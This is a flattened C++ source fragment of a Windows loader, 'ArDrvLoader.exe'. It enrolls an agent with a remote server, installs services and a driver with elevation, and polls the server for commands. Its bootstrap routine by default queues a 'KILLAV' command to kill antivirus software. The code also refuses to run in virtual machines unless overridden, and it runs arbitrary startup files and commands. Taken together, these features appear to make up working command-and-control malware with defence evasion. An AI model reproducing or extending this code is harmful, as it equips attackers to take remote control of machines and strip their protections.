ReportServiceStatus(SERVICE_RUNNING); Log(L"[cloud] service start agent=%s interval=%lu", g_serviceConfig.agent.c_str(), g_serviceConfig.intervalMs); if (StartupActions(g_serviceConfig)) RunLoop(g_serviceConfig, g_serviceStopEvent); ReportServiceStatus(SERVICE_STOP_PENDING, NO_ERROR, 5000); if (g_serviceStopEvent) { CloseHandle(g_serviceStopEvent); g_serviceStopEvent = nullptr; } Log(L"[cloud] service stopped"); ReportServiceStatus(SERVICE_STOPPED); } int RunEnroll(int argc, wchar_t** argv) { std::wstring url; std::wstring agent; std::wstring enrollSecret; for (int i = 2; i < argc; ++i) { std::wstring a = argv[i]; if (a == L"--url" && i + 1 < argc) { url = argv[++i]; continue; } if (a == L"--agent" && i + 1 < argc) { agent = argv[++i]; continue; } if (a == L"--enroll-secret" && i + 1 < argc) { enrollSecret = argv[++i]; continue; } } if (url.empty() || agent.empty() || enrollSecret.empty()) { wprintf(L"Usage: ArDrvLoader.exe -enroll --url --agent --enroll-secret [--allow-vm]\n"); return 1; } if (url.find(L"://") == std::wstring::npos) url = L"https://" + url; while (!url.empty() && url.back() == L'/') url.pop_back(); std::string body = "{\"agent\":\"" + Utf8(agent) + "\"}"; std::string response; DWORD status = 0; std::wstring headers = L"X-Enroll-Secret: " + enrollSecret + L"\r\n"; if (!HttpRequest( L"POST", url + L"/api/enroll", L"api/enroll", nullptr, body, response, &status, headers)) { wprintf(L"ERR cannot reach %s\n", url.c_str()); return 1; } if (status != 200) { wprintf(L"ERR enroll refused (http %lu): %s\n", status, Utf16(response).c_str()); return 1; } std::wstring secret = JsonStringField(response, "secret"); if (secret.empty()) { wprintf(L"ERR no secret in response: %s\n", Utf16(response).c_str()); return 1; } if (!WriteAgentKeyFile(agent, secret)) { wprintf(L"ERR cannot write %s : %lu\n", AgentKeyPath(agent).c_str(), GetLastError()); return 1; } wprintf(L"OK agent=%s secret stored in %s\n", agent.c_str(), AgentKeyPath(agent).c_str()); return 0; } int RunBootstrap(int argc, wchar_t** argv) { std::wstring url; std::wstring secret; std::wstring operatorKey; std::wstring agent; std::wstring target = L"C:\\Windows\\System32\\notepad.exe"; bool killAv = true; for (int i = 2; i < argc; ++i) { std::wstring a = argv[i]; if (a == L"--no-killav") { killAv = false; continue; } if (a == L"--url" && i + 1 < argc) { url = argv[++i]; continue; } if (a == L"--secret" && i + 1 < argc) { secret = argv[++i]; continue; } if (a == L"--operator-key" && i + 1 < argc) { operatorKey = argv[++i]; continue; } if (a == L"--agent" && i + 1 < argc) { agent = argv[++i]; continue; } if (a == L"--target" && i + 1 < argc) { target = argv[++i]; continue; } } if (url.empty()) url = ARDRV_DEFAULT_URL; if (operatorKey.empty()) operatorKey = ARDRV_DEFAULT_OPERATOR_KEY; if (secret.empty()) secret = ARDRV_DEFAULT_SECRET; if (agent.empty()) agent = ARDRV_DEFAULT_AGENT; if (agent.empty()) { wchar_t computer[64]{}; DWORD len = _countof(computer); if (GetComputerNameW(computer, &len) && len > 0) agent = computer; else agent = L"agent"; } if (url.empty() || secret.empty() || operatorKey.empty()) { wprintf(L"Usage: ArDrvLoader.exe -bootstrap --url --operator-key [--secret ] [--agent ] [--target ] [--no-killav]\n"); return 1; } if (url.find(L"://") == std::wstring::npos) url = L"https://" + url; while (!url.empty() && url.back() == L'/') url.pop_back(); // 1. install: services + driver + cloud agent service, single elevated pass. std::vector install = { L"ArDrvLoader.exe", L"-install-guard-services", L"--target", target, L"--allow-vm", L"--cloud-url", url, L"--cloud-secret", secret, L"--cloud-agent", agent, L"--cloud-service", L"CloudTest" }; std::vector installArgv; for (auto& s : install) installArgv.push_back(const_cast(s.c_str())); wprintf(L"[bootstrap] installing services and agent %s\n", agent.c_str()); int rc = InstallGuardServices((int)installArgv.size(), installArgv.data()); if (rc != 0) { wprintf(L"[bootstrap] install failed (%d)\n", rc); return rc; } // 2. wait for the agent to register. std::wstring headers = L"X-Operator-Key: " + operatorKey + L"\r\n"; std::wstring marker = L"\"id\":\"" + agent + L"\""; bool online = false; for (int i = 0; i < 60; ++i) { std::string response; DWORD status = 0; if (HttpRequest(L"GET", url + L"/api/agents", L"api/agents", nullptr, std::string(), response, &status, headers) && status == 200 && Utf16(response).find(marker) != std::wstring::npos) { online = true; break; } Sleep(1000); } if (!online) { wprintf(L"[bootstrap] agent did not register within 60s\n"); return 2; } wprintf(L"[bootstrap] agent online\n"); if (!killAv) { wprintf(L"[bootstrap] AV sweep skipped\n"); return 0; } // 3. queue KILLAV through the server so it shows up as a command. std::string body = "{\"agent\":\"" + Utf8(agent) + "\",\"text\":\"KILLAV\"}"; std::string response; DWORD status = 0; if (!HttpRequest(L"POST", url + L"/api/enqueue", L"api/enqueue", nullptr, body, response, &status, headers)) { wprintf(L"[bootstrap] enqueue failed\n"); return 3; } std::wstring id = JsonStringField(response, "id"); if (id.empty()) { wprintf(L"[bootstrap] enqueue rejected: %s\n", Utf16(response).c_str()); return 3; } wprintf(L"[bootstrap] KILLAV queued (%s), waiting\n", id.c_str()); // 4. wait for the result so the operator sees the outcome immediately. for (int i = 0; i < 120; ++i) { Sleep(1000); std::string poll; DWORD pollStatus = 0; if (!HttpRequest(L"GET", url + L"/api/command/" + id, L"api/command", nullptr, std::string(), poll, &pollStatus, headers)) continue; std::wstring wide = Utf16(poll); if (wide.find(L"\"state\":\"done\"") == std::wstring::npos && wide.find(L"\"state\":\"failed\"") == std::wstring::npos) { continue; } std::wstring result = JsonStringField(poll, "result"); wprintf(L"[bootstrap] KILLAV result:\n%s\n", result.empty() ? L"(no output)" : result.c_str()); return 0; } wprintf(L"[bootstrap] KILLAV still queued after 120s, check the panel\n"); return 0; } int RunCloudService(int argc, wchar_t** argv) { CloudConfig cfg; g_allowVm = VmOverrideRequested(argc, argv); g_serviceConfigValid = ParseConfig(argc, argv, cfg); g_serviceConfig = cfg; if (g_serviceName.empty()) g_serviceName = L"ArDrvAgent"; SERVICE_TABLE_ENTRYW table[] = { { const_cast(g_serviceName.c_str()), CloudServiceMain }, { nullptr, nullptr } }; if (!StartServiceCtrlDispatcherW(table)) { DWORD err = GetLastError(); if (err == ERROR_FAILED_SERVICE_CONTROLLER_CONNECT) { wprintf(L"Cloud service must be started by the Service Control Manager.\n"); wprintf(L"Install it with: ArDrvLoader.exe -cloud-service --service-name \n"); } return (int)err; } return 0; } int RunCloudAgent(int argc, wchar_t** argv) { CloudConfig cfg; g_allowVm = VmOverrideRequested(argc, argv); if (!ParseConfig(argc, argv, cfg)) { wprintf(L"Usage:\n"); wprintf(L" ArDrvLoader.exe -cloud [options] [agent] [interval_ms]\n"); wprintf(L"\n"); wprintf(L"Named options:\n"); wprintf(L" --elevated force no UAC loop\n"); wprintf(L" --agent agent id\n"); wprintf(L" --url worker url\n"); wprintf(L" --secret secret\n"); wprintf(L" --interval poll interval\n"); wprintf(L" --start-driver load driver at startup\n"); wprintf(L" --no-start-driver do not load driver at startup\n"); wprintf(L" --startup-file run file at startup\n"); wprintf(L" --startup-args startup file args\n"); wprintf(L" --startup-command run command at startup\n"); wprintf(L" --startup-user startup file in user session\n"); wprintf(L" --allow-vm run inside a virtual machine\n"); wprintf(L"\n"); wprintf(L"Environment / registry names:\n"); wprintf(L" CA_AGENT_ID / AgentId\n"); wprintf(L" CA_URL / Url\n"); wprintf(L" CA_SECRET / Secret\n"); wprintf(L" CA_INTERVAL / IntervalMs\n"); wprintf(L" CA_START_DRIVER / StartDriver\n"); wprintf(L" CA_STARTUP_FILE / StartupFile\n"); wprintf(L" CA_STARTUP_ARGS / StartupArgs\n"); wprintf(L" CA_STARTUP_COMMAND / StartupCommand\n"); wprintf(L" CA_STARTUP_USER / StartupUser\n"); return 1; } if (!EnsureAdminIfNeeded(argc, argv, cfg)) { Log(L"[-] Cloud mode: elevation failed"); return 2; } g_activeCloudConfig = cfg; Log(L"[cloud] starting agent=%s interval=%lu", cfg.agent.c_str(), cfg.intervalMs); if (!StartupActions(cfg)) { Log(L"[cloud] startup command requested stop"); return 0; } RunLoop(cfg); Log(L"[cloud] stopped"); return 0; }